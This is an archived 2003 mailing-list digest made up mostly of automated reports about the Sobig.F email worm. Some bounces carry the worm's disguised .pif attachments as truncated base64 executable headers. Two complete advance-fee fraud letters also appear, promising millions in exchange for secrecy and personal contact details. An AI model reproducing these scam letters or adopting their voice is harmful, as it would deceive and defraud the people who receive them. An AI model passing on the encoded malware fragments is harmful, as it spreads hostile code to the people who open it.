From libpdmp at lists.pointless.net Tue Sep 2 03:18:46 2003 From: libpdmp at lists.pointless.net (libpdmp@lists.pointless.net) Date: Tue Sep 2 10:13:26 2003 Subject: [Libpdmp] Virus Detected by Network Associates, Inc. Webshield SMTP V4.5 MR1a Message-ID: Network Associates WebShield SMTP V4.5 MR1a on corpvirus1 detected virus W32/Sobig.f@MM in attachment your_document.pif from and it was Deleted. From libpdmp at lists.pointless.net Tue Sep 2 18:49:04 2003 From: libpdmp at lists.pointless.net (libpdmp@lists.pointless.net) Date: Wed Sep 3 01:43:41 2003 Subject: [Libpdmp] Virus Detected by Network Associates, Inc. Webshield SMTP V4.5 MR1a Message-ID: Network Associates WebShield SMTP V4.5 MR1a on corpvirus1 detected virus W32/Sobig.f@MM in attachment application.pif from and it was Deleted. From libpdmp at lists.pointless.net Tue Sep 2 22:35:53 2003 From: libpdmp at lists.pointless.net (libpdmp@lists.pointless.net) Date: Wed Sep 3 05:30:34 2003 Subject: [Libpdmp] Virus Detected by Network Associates, Inc. Webshield SMTP V4.5 MR1a Message-ID: Network Associates WebShield SMTP V4.5 MR1a on corpvirus1 detected virus W32/Sobig.f@MM in attachment thank_you.pif from and it was Deleted. From ugo99 at latinmail.com Thu Sep 4 08:03:12 2003 From: ugo99 at latinmail.com (DR.ZULU) Date: Thu Sep 4 07:00:47 2003 Subject: [Libpdmp] Urgent Assistance From South Africa. Message-ID: STRICTLY CONFIDENTIAL & URGENT. TEL: 871 - 762535915 FAX: 871 - 762535916 TEL: 27 - 836951984 Alternative: E-mail address: erickerick83@latinmail.com Dear Sir, I am Dr.Zulu, a native of Cape Town in South Africa and I am an Executive Accountant with the South Africa Department of Mining & Natural Resources. First and foremost, I apologized using this medium to reach you for a transaction/business of this magnitude, but this is due to Confidentiality and prompt access reposed on this medium. Be informed that a member of the South Africa Export Promotion Council (SEPC) who was at the Government delegation to your country during a trade exhibition gave your enviable credentials/particulars to me. I have decided to seek a confidential co-operation with you in the execution of the deal described hereunder for the benefit of all parties and hope you will keep it as a top secret because of the nature of this transaction. Within the Department of Mining & Natural Resources where I work as an Executive Accountant and with the cooperation of four other top officials, we have in our possession as overdue payment bills totaling Twenty - Six Million, Five Hundred Thousand U. S. Dollars ($26,500,000.) which we want to transfer abroad with the assistance and cooperation of a foreign company/individual to receive the said fund on our behalf or a reliable foreign non-company account to receive such funds. More so, we are handicapped in the circumstances, as the South Africa Civil Service Code of Conduct does not allow us to operate offshore account hence your importance in the whole transaction. This amount $26.5m represents the balance of the total contract value executed on behalf of my Department by a foreign contracting firm, which we the officials over-invoiced deliberately. Though the actual contract cost have been paid to the original contractor, leaving the balance in the tune of the said amount which we have in principles gotten approval to remit by Telegraphic Transfer (T.T) to any foreign bank account you will provide by filing in an application through the Justice Ministry here in South Africa for the transfer of rights and privileges of the former contractor to you, hence provide me with your private/direct fax number for the form to be send across to you. I have the authority of my partners involved to propose that should you be willing to assist us in the transaction, your share of the sum will be 25% of the $26,.5 million, 70% for us and 5% for taxation and miscellaneous expenses. The business itself is 100% safe, on your part provided you treat it with utmost secrecy and confidentiality. Also your area of specialization is not a hindrance to the successful execution of this transaction. I have reposed my confidence in you and hope that you will not disappoint me. Endeavor to contact me immediately through my above Tel/Fax number or my e-mail address, whether or not you are interested in this deal. If you are not, it will enable me scout for another foreign partner to carry out this deal I want to assure you that my partners and myself are in a position to make the payment of this claim possible provided you can give us a very strong Assurance and guarantee that our share will be secured and please remember to treat this matter as very confidential matter, because we will not comprehend with any form of exposure as we are still in active Government Service and remember once again that time is of the essence in this business. I wait in anticipation of your fullest co-operation. Yours faithfully, Dr. Zulu From santa at northpole.com Thu Sep 4 03:41:10 2003 From: santa at northpole.com (santa@northpole.com) Date: Thu Sep 4 07:41:01 2003 Subject: [Libpdmp] Re: That movie In-Reply-To: <200309040641.h846f25g018616@mail.northpole.com> References: <200309040641.h846f25g018616@mail.northpole.com> Message-ID: <200309040641.h846fA3I018670@mail.northpole.com> Due to the large amount of junk mail that I receive I can only read messages with "A Message for Santa" as the subject. Thanks, Santa www.northpole.com From postmaster at dpmail07.doteasy.com Thu Sep 4 21:00:37 2003 From: postmaster at dpmail07.doteasy.com (Postmaster) Date: Fri Sep 5 04:15:44 2003 Subject: [Libpdmp] Undeliverable Mail Message-ID: <10309042000.AA01408@dpmail07.doteasy.com> Delivery failed 1 attempts: webmaster@bcwideweb.com Original message follows. Received: from KOMPUTATOR [24.70.241.120] by dpmail07.doteasy.com with ESMTP (SMTPD32-7.13) id AC4FA9E00E8; Thu, 04 Sep 2003 20:00:31 -0700 From: To: Subject: Re: Your application Date: Thu, 4 Sep 2003 20:07:29 --0700 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_025D6369" Message-Id: <200309042000287.SM00992@KOMPUTATOR> This is a multipart message in MIME format --_NextPart_000_025D6369 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_025D6369 Content-Type: application/octet-stream; name="document_all.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="document_all.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [message truncated] ____________________________________________________________ Free 20MB Web Site Hosting and Personalized E-mail Service! Get It Now At Doteasy.com http://www.doteasy.com/et/ From MAILER-DAEMON at dexagon.com Fri Sep 5 00:35:41 2003 From: MAILER-DAEMON at dexagon.com (BorderWare MXtreme Mail Firewall) Date: Fri Sep 5 04:34:14 2003 Subject: [Libpdmp] Quarantined Mail: forbidden attachments from libpdmp@lists.pointless.net Message-ID: <20030905033541.A79743B9C9@spamicide.dexagon.com> This is a recorded message from the BorderWare MXtreme Mail Firewall. I'm sorry to tell you that some mail from you (libpdmp@lists.pointless.net) to jhoffman@coldwellbanker.ca was stopped and quarantined at spamicide.dexagon.com because it appeared to contain one or more forbidden attachments. Your recipient(s) should contact regarding releasing this mail. Summary of email contents: ---- Forbidden attachment: document_9446.pif ---- From postmaster at magneticn.co.uk Fri Sep 5 20:25:36 2003 From: postmaster at magneticn.co.uk (postmaster@magneticn.co.uk) Date: Fri Sep 5 19:28:08 2003 Subject: [Libpdmp] MDaemon Warning - Virus Found Message-ID: The following message had attachment(s) which contained viruses: >From : libpdmp@lists.pointless.net To : karinaL@magneticn.co.uk Subject : Re: Thank you! Date : Fri, 5 Sep 2003 19:26:34 +0100 Message-ID: <200309051826.h85IQXt14953@punt1.cix.co.uk> Attachment Virus name Action taken ------------------------------------------------------------------------------ document_all.pif I-Worm.Sobig.f Removed From Mailadmin at ntl.com Sat Sep 6 02:02:08 2003 From: Mailadmin at ntl.com (Mailadmin@ntl.com) Date: Sat Sep 6 01:02:16 2003 Subject: [Libpdmp] Re: Approved Message-ID: A mail message with the subject "Re: Approved" Sent by libpdmp@lists.pointless.net TO advertising@ntl.com has been found to contain a virus Scenarios/Banned File types: A filename matching the file mask was detected: 'thank_you.pif'. Scenarios/Incoming/Sophos Incoming Virus Scan: Threat: 'W32/Sobig-F' detected by 'Sophos AV Interface for MIMEsweeper'. Scenarios/Block Executables: 'ItemLength.GE.0'. and has been placed in Infected Please inform your administrator and have your virus scanning software updated and your infected files cleaned. This message was produced by sm08 From libpdmp at lists.pointless.net Sat Sep 6 05:41:47 2003 From: libpdmp at lists.pointless.net (libpdmp@lists.pointless.net) Date: Sat Sep 6 12:36:19 2003 Subject: [Libpdmp] Virus Detected by Network Associates, Inc. Webshield SMTP V4.5 MR1a Message-ID: Network Associates WebShield SMTP V4.5 MR1a on corpvirus1 detected virus W32/Sobig.f@MM in attachment your_document.pif from and it was Deleted. From jiffy at nettwerk.com Sat Sep 6 10:08:58 2003 From: jiffy at nettwerk.com (jiffy@nettwerk.com) Date: Sat Sep 6 17:08:58 2003 Subject: [Libpdmp] Re: Your application Message-ID: Please see the attached file for details. From cottages at oas.co.uk Sat Sep 6 21:22:22 2003 From: cottages at oas.co.uk (cottages@oas.co.uk) Date: Sat Sep 6 20:22:19 2003 Subject: [Libpdmp] Re: Details Message-ID: See the attached file for details From postmaster at dpmail07.doteasy.com Sun Sep 7 06:08:15 2003 From: postmaster at dpmail07.doteasy.com (Postmaster) Date: Sun Sep 7 13:24:45 2003 Subject: [Libpdmp] Undeliverable Mail Message-ID: <10309070508.AA00592@dpmail07.doteasy.com> Delivery failed 1 attempts: webmaster@bcwideweb.com Original message follows. Received: from KOMPUTATOR [24.70.241.120] by dpmail07.doteasy.com with ESMTP (SMTPD32-7.13) id AFA32FF0060; Sun, 07 Sep 2003 05:08:03 -0700 From: To: Subject: Re: Details Date: Sun, 7 Sep 2003 5:15:12 --0700 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_0E9F9FD3" Message-Id: <200309070508898.SM00980@KOMPUTATOR> This is a multipart message in MIME format --_NextPart_000_0E9F9FD3 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_0E9F9FD3 Content-Type: application/octet-stream; name="application.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="application.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [message truncated] ____________________________________________________________ Free 20MB Web Site Hosting and Personalized E-mail Service! Get It Now At Doteasy.com http://www.doteasy.com/et/ From MAILER-DAEMON at dexagon.com Mon Sep 8 04:12:40 2003 From: MAILER-DAEMON at dexagon.com (BorderWare MXtreme Mail Firewall) Date: Mon Sep 8 08:11:35 2003 Subject: [Libpdmp] Quarantined Mail: forbidden attachments from libpdmp@lists.pointless.net Message-ID: <20030908071240.F273B3B814@spamicide.dexagon.com> This is a recorded message from the BorderWare MXtreme Mail Firewall. I'm sorry to tell you that some mail from you (libpdmp@lists.pointless.net) to jhoffman@coldwellbanker.ca was stopped and quarantined at spamicide.dexagon.com because it appeared to contain one or more forbidden attachments. Your recipient(s) should contact regarding releasing this mail. Summary of email contents: ---- Forbidden attachment: your_details.pif ---- From postmaster at dpmail07.doteasy.com Mon Sep 8 12:16:26 2003 From: postmaster at dpmail07.doteasy.com (Postmaster) Date: Mon Sep 8 19:48:51 2003 Subject: [Libpdmp] Undeliverable Mail Message-ID: <10309081116.AA01428@dpmail07.doteasy.com> Delivery failed 1 attempts: webmaster@bcwideweb.com Original message follows. Received: from KOMPUTATOR [24.70.241.120] by dpmail07.doteasy.com with ESMTP (SMTPD32-7.13) id A769B62006A; Mon, 08 Sep 2003 11:16:09 -0700 From: To: Subject: Re: Approved Date: Mon, 8 Sep 2003 11:23:17 --0700 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_00366C1A" Message-Id: <200309081116966.SM00980@KOMPUTATOR> This is a multipart message in MIME format --_NextPart_000_00366C1A Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_00366C1A Content-Type: application/octet-stream; name="document_all.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="document_all.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [message truncated] ____________________________________________________________ Free 20MB Web Site Hosting and Personalized E-mail Service! Get It Now At Doteasy.com http://www.doteasy.com/et/ From postmaster at queue.unet.com.mk Mon Sep 8 21:23:13 2003 From: postmaster at queue.unet.com.mk (postmaster@queue.unet.com.mk) Date: Mon Sep 8 20:38:27 2003 Subject: [Libpdmp] VIRUS IN YOUR MAIL Message-ID: <200309081823.h88INDX17063@queue.unet.com.mk> V I R U S V O V A S A T A P O R A K A Nasiot antivirus go pronajde virusot: W32/Sobig.F@mm vo vasata poraka upatena do sledniot primatel(i): -> Isporakata na porakata e zaprena! Ve molime proverete go vasiot sistem so antivirusen program, ili pobarajte od vasiot sistem administrator da go stori toa. Za vasa referenca, na krajot od ovaa poraka go prilozuvame zaglavjeto na vasiot e-mail. (English version follows) V I R U S A L E R T Our viruschecker found the W32/Sobig.F@mm virus(es) in your email to the following recipient(s): -> Delivery of the email was stopped! Please check your system for viruses, or ask your system administrator to do so. For your reference, here are the headers from your email: ------------------------- BEGIN HEADERS ----------------------------- From: To: Subject: Re: Thank you! Date: Mon, 8 Sep 2003 20:37:41 +0100 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_005AE8D6" -------------------------- END HEADERS ------------------------------ From libpdmp at lists.pointless.net Mon Sep 8 18:51:02 2003 From: libpdmp at lists.pointless.net (libpdmp@lists.pointless.net) Date: Tue Sep 9 01:45:32 2003 Subject: [Libpdmp] Virus Detected by Network Associates, Inc. Webshield SMTP V4.5 MR1a Message-ID: Network Associates WebShield SMTP V4.5 MR1a on corpvirus1 detected virus W32/Sobig.f@MM in attachment movie0045.pif from and it was Deleted. From ravms at newton.rapidns.com Tue Sep 9 17:15:05 2003 From: ravms at newton.rapidns.com (RAV AntiVirus) Date: Tue Sep 9 21:15:20 2003 Subject: [Libpdmp] RAV AntiVirus scan results Message-ID: ----------------------- This e-mail is generated by the newton.rapidns.com mail server to warn you that the e-mail sent by MAILER-DAEMON to libpdmp@lists.pointless.net is infected with virus: Win32/Sobig.F@mm. Please contact your system administrator for further information. If you are the sender: ------------------- The scanned e-mail has your address in the header field. Either your computer is infected or someone's computer having your e-mail address in the address book has been infected. (Please note that some viruses are sending e-mails directly from your computer. Our advise is to check your computer using an up-to-date antivirus product). If you are the receiver: --------------------- Please contact the sender: very probably he/she doesn't know he/she has a computer virus. Actions taken for the infected files: ------------------------------------- The infected file was saved to quarantine with name: 1063138505-RAV73132. The file (part0003:your_document.pif) attached to mail (with subject:failure notice) sent by MAILER-DAEMON to libpdmp@lists.pointless.net is infected with virus: Win32/Sobig.F@mm. The mail was silently discarded because it contained dangerous code. ------------------------ this is a copy of the e-mail header: RAV AntiVirus for FreeBSD i386 version: 8.4.0 (snapshot-20020920) Scan engine 8.11 for i386. Last update: Tue, 09 Sep 2003 00:30:03 -04 Scanning for 81941 malwares (viruses, trojans and worms). From MAILER-DAEMON at dexagon.com Tue Sep 9 22:04:55 2003 From: MAILER-DAEMON at dexagon.com (BorderWare MXtreme Mail Firewall) Date: Wed Sep 10 02:03:34 2003 Subject: [Libpdmp] Quarantined Mail: forbidden attachments from libpdmp@lists.pointless.net Message-ID: <20030910010455.DB0313B857@spamicide.dexagon.com> This is a recorded message from the BorderWare MXtreme Mail Firewall. I'm sorry to tell you that some mail from you (libpdmp@lists.pointless.net) to jhoffman@coldwellbanker.ca was stopped and quarantined at spamicide.dexagon.com because it appeared to contain one or more forbidden attachments. Your recipient(s) should contact regarding releasing this mail. Summary of email contents: ---- Forbidden attachment: document_all.pif ---- From santa at northpole.com Wed Sep 10 02:15:35 2003 From: santa at northpole.com (santa@northpole.com) Date: Wed Sep 10 06:13:31 2003 Subject: [Libpdmp] Re: Thank you! In-Reply-To: <200309100515.h8A5FQ5g017771@mail.northpole.com> References: <200309100515.h8A5FQ5g017771@mail.northpole.com> Message-ID: <200309100515.h8A5FZIq017814@mail.northpole.com> Due to the large amount of junk mail that I receive I can only read messages with "A Message for Santa" as the subject. Thanks, Santa www.northpole.com From johnsesek at netscape.net Sat Sep 27 23:16:55 2003 From: johnsesek at netscape.net (John Seseko Mobutu) Date: Sat Sep 27 21:13:52 2003 Subject: [Libpdmp] URGENT RESPONSE Message-ID: Dear Sir, I am the son of the late President of Democratic Republic of Zaire (President Mobutu Sese Seko) now The Republic of Congo and under the leadership of the, son of Mr. Laurent Kabila. I presume you are aware there are financial dispute between my family (THE MOBUTU) and the present civilian Government. This is based on what they believe as bad and corrupt governance on my late father's part. May his soul rest in perfect peace. You may have heard how a lot of my father's bank account in Switzerland and North America has been frozen. Following the outlined reasons, I am soliciting for your esteemed organization?s confidential assistance to take custody of Ten Million United States Dollars (US$10,000,000.00) and also to front for my family in the areas of business you consider profitable. These Consignments containing the funds have secretly been concealed and deposited with a Diplomatic Security firm where it can easily be taken delivery of by a recommended beneficiary. The consignment containing the funds will be released to your organization by the Security firm based on my recommendations on that note; you will be presented as our partner who will be fronting for me and my family in any subsequent ventures. I and my mother have decided to give 20% to your organization if you are able to help us claim this consignment. We have also decided to give your organization any money spent on phone calls or traveling expenses in the course of this transaction at the end of the transaction. Please, I need your entire support and co-operation for the success of this business ventures, your utmost confidentiality and secrecy is highly required, due to my family's present predicament. I sincerely will appreciate your acknowledgment as soon as possible. I am presently in the refugee camp here in the Netherlands under the United Nations refugee camp in Netherlands and I can be reached by responding to the following email address(johnseseko@netscape.net for further Correspondence. Please indicate your interest by sending your telephone and fax numbers. I sincerely will appreciate your acknowledgement as soon as possible. Yours Truly, John Mobutu Sese-Seko